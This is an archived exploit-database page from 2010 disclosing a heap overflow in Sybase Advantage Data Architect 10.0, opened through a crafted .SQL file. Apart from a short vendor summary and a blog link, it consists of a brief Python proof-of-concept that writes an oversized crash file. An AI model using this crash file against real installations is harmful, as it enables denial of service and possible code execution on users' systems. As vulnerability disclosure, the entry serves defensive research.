[dos / poc] - Sybase Advantage Data Architect "*.SQL&qu
Posted on 01 November 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Sybase Advantage Data Architect "*.SQL" Format Heap Oveflow | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Sybase Advantage Data Architect "*.SQL" Format Heap Oveflow by d0lc3 in dos / poc | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=========================================================== Sybase Advantage Data Architect "*.SQL" Format Heap Oveflow =========================================================== # Exploit Title: Sybase Advantage Data Architect "*.SQL" Format Heap Oveflow RCE # Date: 2010-10-16 # Author: d0lc3 (@rmallof - http://elotrolad0.blogspot.com/) # Software Link: http://www.sybase.com/products/databasemanagement/advantagedatabaseserver/data-architect-utility # Version: 10.0 # Tested on: Windows XP SP3 32 bits SPA #Summary: """ From Sybase.com: "Advantage Data Architect Utility: A complete data management system for Advantage developers. Advantage Data Architect assists in designing, creating and maintaining the database layer of a developer's applications." Advantage Data Architect is prone to heap overflow when user opens crafted script file (.SQL) with long data inside. This issue causes a function pointer overwrite, allow us executing arbitrary code (UNICODE). More info can be found on : http://elotrolad0.blogspot.com/2010/11/sybase-advantage-data-architect-sql.html """ #!/usr/bin/python sql="select * from clients where " buf="A"*(1024*300) crash=sql+buf+"="+buf f=open("crash.sql",'w') f.write(crash) f.close() # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-01]</pre></body></html>